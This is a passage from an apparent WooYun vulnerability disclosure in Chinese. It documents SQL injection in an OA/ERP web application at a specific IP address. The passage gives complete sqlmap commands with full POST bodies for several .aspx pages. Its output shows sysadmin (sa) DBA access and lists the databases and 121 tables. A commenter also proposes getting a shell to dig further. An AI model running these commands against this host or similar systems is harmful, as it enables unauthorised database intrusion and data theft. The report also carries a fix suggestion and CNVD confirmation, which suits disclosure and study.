sqlmap.py -u "http://112.124.41.23:38888/Sell/Contract.aspx"--dbms="mssql" --data "__VIEWSTATE=%2FwEPDwUJNjA5NDQ1Nzg5D2QWAmYPZBYGAgwPPCsADQEADxYGHgtfIURhdGFCb3VuZGceCVBhZ2VDb3VudAIBHgtfIUl0ZW1Db3VudAICZBYCZg9kFgYCAQ8PZBYEHgtvbm1vdXNlb3ZlcgVBYz10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcjt0aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj0nI0U0RjRGRiceCm9ubW91c2VvdXQFHXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPWM7FhBmD2QWAgIBDw8WAh4EVGV4dAUBMmRkAgEPZBYCAgEPDxYCHgtOYXZpZ2F0ZVVybAUWQ29udHJhY3RWaWV3LmFzcHg%2FSUQ9MmQWAmYPFQEY5buj5bee6LuK6KGMMSAyMDEzLjExLjE0ZAICDw8WAh8FBQcyMDEzMDAxZGQCAw8PFgIfBQUG6Yq35ZSuZGQCBA8PFgIfBQUH6LuK6KGMMWRkAgUPDxYCHwUFA2FhYWRkAgYPDxYCHwUFEzIwMTMtMTEtMTQgMTU6MjU6MTlkZAIHDw8WAh8FBQzpgJrov4flrqHmoLhkZAICDw9kFgQfAwVBYz10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcjt0aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj0nI0U0RjRGRicfBAUddGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9YzsWEGYPZBYCAgEPDxYCHwUFATFkZAIBD2QWAgIBDw8WAh8GBRZDb250cmFjdFZpZXcuYXNweD9JRD0xZBYCZg8VAQbph4fotK1kAgIPDxYCHwUFBzIwMTIwMDFkZAIDDw8WAh8FBQbph4fotK1kZAIEDw8WAh8FBRLljJfkuqzkuK3llYbljLvoja9kZAIFDw8WAh8FBQNhYWFkZAIGDw8WAh8FBRMyMDEyLTEwLTI1IDE0OjUyOjEzZGQCBw8PFgIfBQUM6YCa6L%2BH5a6h5qC4ZGQCAw8PFgIeB1Zpc2libGVoZGQCFg8PFgIfBQUBMWRkAhgPDxYCHwUFATFkZBgCBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WDAUMSW1hZ2VCdXR0b240BQxJbWFnZUJ1dHRvbjEFDEltYWdlQnV0dG9uNQUMSW1hZ2VCdXR0b24zBQxJbWFnZUJ1dHRvbjIFGEdWRGF0YSRjdGwwMiRDaGVja1NlbGVjdAUYR1ZEYXRhJGN0bDAzJENoZWNrU2VsZWN0BQhCdG5GaXJzdAUGQnRuUHJlBQdCdG5OZXh0BQdCdG5MYXN0BQhCdXR0b25HbwUGR1ZEYXRhD2dkuAqEbS7Zc03UpA1ESiQ3gUmJJEo%3D&TextBox1=ads&ImageButton4.x=20&ImageButton4.y=11&TxtPageSize=15&GoPage=1&__EVENTVALIDATION=%2FwEWEAKk6arfBgLs0bLrBgLSwv2aBALSwpnTCALSwum%2FCwLSwsGJCgLSwtXkAgKjzK72CAKjzNLWAgLu%2F93hDwLWmtnlAwKV6fOOCgKR6bePCQK67b6uAgKkstWWBQL6jqL3CcF0Fd6sfdJtgBZojxMdO5NePpgI" -p TextBox1
TextBox1存在POST注入


150617_41.png


注入十九、

sqlmap.py -u "http://112.124.41.23:38888/Car/CarLog.aspx" --data "__VIEWSTATE=%2FwEPDwUKLTQ5OTIxMTYwMQ9kFgJmD2QWBgIPDzwrAA0BAA8WBB4LXyFEYXRhQm91bmRnHgtfIUl0ZW1Db3VudGZkZAIZDw8WAh4EVGV4dAUBMWRkAhsPDxYCHwIFATBkZBgCBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WCwUMSW1hZ2VCdXR0b240BQxJbWFnZUJ1dHRvbjYFDEltYWdlQnV0dG9uMQUMSW1hZ2VCdXR0b241BQxJbWFnZUJ1dHRvbjMFDEltYWdlQnV0dG9uMgUIQnRuRmlyc3QFBkJ0blByZQUHQnRuTmV4dAUHQnRuTGFzdAUIQnV0dG9uR28FBkdWRGF0YQ9nZMsv76oU%2BcnIVl9sEL5HPn%2BdLzGG&DropDownList2=CarName&TextBox3=asd&ImageButton4.x=20&ImageButton4.y=5&TxtPageSize=15&GoPage=1&__EVENTVALIDATION=%2FwEWEwKMj7HHAgLf5572CwLnqr7bDwKayI7FDwLgk7KqAwLs0Yq1BQLSwv2aBALSwqXRBQLSwpnTCALSwum%2FCwLSwsGJCgLSwtXkAgLu%2F93hDwLWmtnlAwKV6fOOCgKR6bePCQK67b6uAgKkstWWBQL6jqL3CTFkpjF2elTwIxiQuU%2BQCx%2FJ9NMz" -p TextBox3 --dbms="mssql"
TextBox3存在POST注入


150617_42.png


注入二十、

sqlmap.py -u "http://112.124.41.23:38888/DocFile/DangAn.aspx" --data "__VIEWSTATE=%2FwEPDwULLTExMDg2MDE4MzgPZBYCZg9kFggCAQ8PFgIeBFRleHRlZGQCDg88KwANAQAPFgQeC18hRGF0YUJvdW5kZx4LXyFJdGVtQ291bnRmZGQCGA8PFgIfAAUBMWRkAhoPDxYCHwAFATBkZBgCBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WCgUMSW1hZ2VCdXR0b240BQxJbWFnZUJ1dHRvbjEFDEltYWdlQnV0dG9uNQUMSW1hZ2VCdXR0b24zBQxJbWFnZUJ1dHRvbjIFCEJ0bkZpcnN0BQZCdG5QcmUFB0J0bk5leHQFB0J0bkxhc3QFCEJ1dHRvbkdvBQZHVkRhdGEPZ2RZGyacswZw0WUqdtMoHBbw71m9hg%3D%3D&TextBox1=abc&ImageButton4.x=23&ImageButton4.y=10&TxtPageSize=15&GoPage=1&__EVENTVALIDATION=%2FwEWDgLNrKeTAQLs0bLrBgLSwv2aBALSwpnTCALSwum%2FCwLSwsGJCgLSwtXkAgLu%2F93hDwLWmtnlAwKV6fOOCgKR6bePCQK67b6uAgKkstWWBQL6jqL3CbOjWL4mdYarCP4ShF8FGyvhczRv" -p TextBox1 --dbms="mssql"
TextBox1存在POST注入


150617_43.png


好累
=======================================================================
数据证明

sqlmap.py -u "http://112.124.41.23:38888/DocFile/DangAn.aspx" --data "__VIEWSTATE=%2FwEPDwULLTExMDg2MDE4MzgPZBYCZg9kFggCAQ8PFgIeBFRleHRlZGQCDg88KwANAQAPFgQeC18hRGF0YUJvdW5kZx4LXyFJdGVtQ291bnRmZGQCGA8PFgIfAAUBMWRkAhoPDxYCHwAFATBkZBgCBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WCgUMSW1hZ2VCdXR0b240BQxJbWFnZUJ1dHRvbjEFDEltYWdlQnV0dG9uNQUMSW1hZ2VCdXR0b24zBQxJbWFnZUJ1dHRvbjIFCEJ0bkZpcnN0BQZCdG5QcmUFB0J0bk5leHQFB0J0bkxhc3QFCEJ1dHRvbkdvBQZHVkRhdGEPZ2RZGyacswZw0WUqdtMoHBbw71m9hg%3D%3D&TextBox1=abc&ImageButton4.x=23&ImageButton4.y=10&TxtPageSize=15&GoPage=1&__EVENTVALIDATION=%2FwEWDgLNrKeTAQLs0bLrBgLSwv2aBALSwpnTCALSwum%2FCwLSwsGJCgLSwtXkAgLu%2F93hDwLWmtnlAwKV6fOOCgKR6bePCQK67b6uAgKkstWWBQL6jqL3CbOjWL4mdYarCP4ShF8FGyvhczRv" -p TextBox1 --dbms="mssql" --current-db --current-user --is-dba --dbs


data.png


数据库：

current user:    'sa'
[17:38:23] [INFO] fetching current database
current database:    'FGOA'
[17:38:23] [INFO] testing if current user is DBA
current user is DBA:    True
[17:38:24] [INFO] fetching database names
available databases [11]:
[*] FG360
[*] FGOA
[*] FGOA_T1
[*] JWOA
[*] JYOA
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb


数据表：

Database: FGOA
[121 tables]
+-------------------------+
| dbo.ERPAnPai            |
| dbo.ERPBBSBanKuai       |
| dbo.ERPBBSTieZi         |
| dbo.ERPBaoJia           |
| dbo.ERPBaoXiao          |
| dbo.ERPBook             |
| dbo.ERPBookJieHuan      |
| dbo.ERPBuMen            |
| dbo.ERPBuyChanPin       |
| dbo.ERPBuyOrder         |
| dbo.ERPCYDIC            |
| dbo.ERPCarBaoXian       |
| dbo.ERPCarBaoYang       |
| dbo.ERPCarInfo          |
| dbo.ERPCarJiaYou        |
| dbo.ERPCarLog           |
| dbo.ERPCarShiYong       |
| dbo.ERPCarWeiHu         |
| dbo.ERPCarWeiZhang      |
| dbo.ERPContract         |
| dbo.ERPContractChanPin  |
| dbo.ERPCrmSetting       |
| dbo.ERPCustomFuWu       |
| dbo.ERPCustomHuiFang    |
| dbo.ERPCustomInfo       |
| dbo.ERPCustomNeed       |
| dbo.ERPDanWeiInfo       |
| dbo.ERPDangAn           |
| dbo.ERPFileList         |
| dbo.ERPGongGao          |
| dbo.ERPGuDing           |
| dbo.ERPGuDingJiLu       |
| dbo.ERPHuiBao           |
| dbo.ERPHuiYuan          |
| dbo.ERPJSDIC            |
| dbo.ERPJXDetails        |
| dbo.ERPJiXiao           |
| dbo.ERPJiXiaoCanShu     |
| dbo.ERPJianLi           |
| dbo.ERPJiangCheng       |
| dbo.ERPJiangChengZhiDu  |
| dbo.ERPJiaoSe           |
| dbo.ERPJinDu            |
| dbo.ERPJuanKu           |
| dbo.ERPKaoQin           |
| dbo.ERPKaoQinSetting    |
| dbo.ERPLanEmail         |
| dbo.ERPLiRun            |
| dbo.ERPLinkLog          |
| dbo.ERPLinkMan          |
| dbo.ERPMeeting          |
| dbo.ERPMianShi          |
| dbo.ERPMobile           |
| dbo.ERPNForm            |
| dbo.ERPNFormType        |
| dbo.ERPNWorkDetails     |
| dbo.ERPNWorkFlow        |
| dbo.ERPNWorkFlowBQ      |
| dbo.ERPNWorkFlowNode    |
| dbo.ERPNWorkFlowWT      |
| dbo.ERPNWorkToDo        |
| dbo.ERPNetEmail         |
| dbo.ERPOffice           |
| dbo.ERPPeiXun           |
| dbo.ERPPeiXunRiJi       |
| dbo.ERPPeiXunXiaoGuo    |
| dbo.ERPPinShen          |
| dbo.ERPProduct          |
| dbo.ERPProject          |
| dbo.ERPRedHead          |
| dbo.ERPRenShiHeTong     |
| dbo.ERPReport           |
| dbo.ERPReportType       |
| dbo.ERPRiZhi            |
| dbo.ERPSaveFileName     |
| dbo.ERPSerils           |
| dbo.ERPSheBei           |
| dbo.ERPShenPi           |
| dbo.ERPShiShi           |
| dbo.ERPShouKuan         |
| dbo.ERPSongYang         |
| dbo.ERPSupplyLink       |
| dbo.ERPSupplys          |
| dbo.ERPSystemSetting    |
| dbo.ERPTalkInfo         |
| dbo.ERPTalkOnlineUser   |
| dbo.ERPTalkSetting      |
| dbo.ERPTaskFP           |
| dbo.ERPTelFile          |
| dbo.ERPTiKu             |
| dbo.ERPTiKuKaoShi       |
| dbo.ERPTiKuKaoShiJieGuo |
| dbo.ERPTiKuShiJuan      |
| dbo.ERPTiKuShiJuanSet   |
| dbo.ERPTiKuShiJuanType  |
| dbo.ERPTiKuType         |
| dbo.ERPTongXunLu        |
| dbo.ERPTouSu            |
| dbo.ERPTreeList         |
| dbo.ERPUser             |
| dbo.ERPUserDesk         |
| dbo.ERPVote             |
| dbo.ERPWorkPlan         |
| dbo.ERPWorkRiZhi        |
| dbo.ERPXCDetails        |
| dbo.ERPXinChou          |
| dbo.ERPXinChouCanShu    |
| dbo.ERPXueXi            |
| dbo.ERPXueXiXinDe       |
| dbo.ERPYinZhang         |
| dbo.ERPYinZhangLog      |
| dbo.FGOA_Fxzl           |
| dbo.FGOA_FxzlHit        |
| dbo.FGOA_FxzlType       |
| dbo.FGOA_NetDisk        |
| dbo.FGOA_PlugIn         |
| dbo.View_1              |
| dbo.dtproperties        |
| dbo.fgoa_mobile_msg     |
| dbo.sysconstraints      |
| dbo.syssegments         |
+-------------------------+


main1.png

漏洞证明：

上面已证明

修复方案：

过滤+升级程序然后补丁

版权声明：转载请注明来源 goubuli@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-06-23 08:45

厂商回复：

cnvd确认并复现所述情况，已由cnvd通过公开联系渠道向软件生产厂商通报，由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-06-18 10:46 | change ( 实习白帽子 | Rank:60 漏洞数:15 | 核心白帽子)

    挖干净了////

  2. 2015-06-18 10:50 | goubuli ( 普通白帽子 | Rank:324 漏洞数:61 )

    @change 拿个shell进去慢慢翻，估计还会有(￣▽￣)

  3. 2015-06-18 10:53 | %230CC ( 路人 | Rank:6 漏洞数:2 | 溜溜)

    某OA 是啥偶诶

  4. 2015-09-21 08:55 | 心云 ( 路人 | Rank:6 漏洞数:4 | 学好技术,读好书，做好人。)

    想问是怎么挖到这么多post注入的。。。。